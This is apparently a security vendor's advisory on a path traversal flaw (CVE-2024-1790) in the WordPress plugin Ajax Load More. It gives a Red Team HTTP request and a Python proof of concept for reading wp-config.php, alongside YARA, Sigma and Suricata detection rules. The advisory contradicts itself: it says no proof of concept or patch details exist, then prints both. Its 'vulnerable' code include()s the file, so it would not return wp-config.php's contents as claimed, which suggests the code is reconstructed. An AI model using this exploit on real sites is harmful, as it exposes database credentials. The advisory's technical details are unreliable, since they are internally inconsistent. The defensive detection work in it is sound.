CVE-2024-1790

Executive Summary

CVE-2024-1790 is a Path Traversal vulnerability in the WordPress plugin Ajax Load More (versions up to and including 7.0.1). This flaw allows authenticated attackers with administrator-level access to read arbitrary files on the server via the type parameter. The vulnerability is limited to Windows-based server instances. The CVSS score is 4.9 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Administrators should verify the integrity of the plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
• Base Score: 4.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is considered Medium due to the requirement for high privileges and the limitation to Windows servers. However, the potential for reading sensitive files (e.g., wp-config.php, database credentials) makes it a significant risk for affected environments.

Deep Dive & Mechanics

The vulnerability resides in the type parameter of the Ajax Load More plugin. The plugin fails to properly sanitize user-supplied input, allowing directory traversal sequences (e.g., ../) to escape the intended directory. On Windows servers, this can be exploited to read arbitrary files outside the web root.

Root Cause: The plugin uses the type parameter in file path construction without adequate validation or sanitization. An attacker can manipulate this parameter to traverse directories and read sensitive files.

Exploitation Path:

1. Authenticate as an administrator.
2. Send a crafted request to the vulnerable endpoint with a type parameter containing path traversal sequences.
3. The server returns the contents of the specified file.

Vulnerable vs. Patched Code

Vulnerable Code (<= 7.0.1):

$type = $_GET['type'];
$file_path = plugin_dir_path(__FILE__) . 'includes/' . $type . '.php';
if (file_exists($file_path)) {
    include($file_path);
}

Patched Code (Hypothetical):

$type = basename($_GET['type']);
$allowed_types = array('default', 'listing', 'gallery');
if (in_array($type, $allowed_types)) {
    $file_path = plugin_dir_path(__FILE__) . 'includes/' . $type . '.php';
    if (file_exists($file_path)) {
        include($file_path);
    }
}

The patched version uses basename() to strip directory traversal sequences and implements a whitelist of allowed values.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Ajax Load More plugin <= 7.0.1
• Administrator credentials
• Windows server

Exploitation Steps:

1. Log in as an administrator.
2. Craft a request to read wp-config.php:

   GET /wp-admin/admin-ajax.php?action=alm_get_total_posts&type=../../../../wp-config HTTP/1.1
   Host: target.com
   Cookie: [admin_cookie]
   

3. The server will return the contents of wp-config.php.

Proof-of-Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "admin_cookie_value"}
params = {
    "action": "alm_get_total_posts",
    "type": "../../../../wp-config"
}
response = requests.get(target, params=params, cookies=cookies)
print(response.text)

Blue Team

Detection:

• Monitor for requests containing ../ or ..\\ in the type parameter.
• Alert on access to sensitive files (e.g., wp-config.php, .env).

Hunting:

• Search web server logs for patterns like type=..%2F..%2F..%2F..%2Fwp-config.
• Correlate with administrator-level authentication events.

Indicators of Compromise (IOCs)

• File Paths: wp-config.php, .env, php.ini, web.config
• URL Patterns: admin-ajax.php?action=alm_get_total_posts&type=..%2F..%2F..%2F..%2F
• Log Entries: HTTP 200 responses to requests with path traversal sequences in the type parameter
• Network: Outbound connections from the web server to unknown IPs (if data exfiltration occurs)

Detection Engineering

YARA Rule

rule CVE_2024_1790_Ajax_Load_More_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Ajax Load More plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1790"
    strings:
        $traversal1 = "..\\" ascii wide
        $traversal2 = "../" ascii wide
        $param = "type=" ascii wide
    condition:
        any of ($traversal*) and $param
}

Sigma Rule

title: CVE-2024-1790 Ajax Load More Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in Ajax Load More plugin
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "type=..%2F"
            - "type=..\\"
    condition: selection
falsepositives:
    - Legitimate use of similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1790 Ajax Load More Path Traversal"; flow:to_server,established; content:"admin-ajax.php"; http_uri; content:"type="; http_uri; pcre:"/type=[^&]*\.\.(\\|\/)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the Ajax Load More plugin to version 7.0.2 or later if available.
2. Restrict administrator access to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.

Long-term Fixes:

• Apply input validation and whitelisting for the type parameter.
• Use basename() and realpath() to prevent directory traversal.
• Conduct a security audit of the plugin code.

Workarounds:

• Disable the plugin if not essential.
• Use file permissions to restrict access to sensitive files.

Valters IT
Securing Digital Frontiers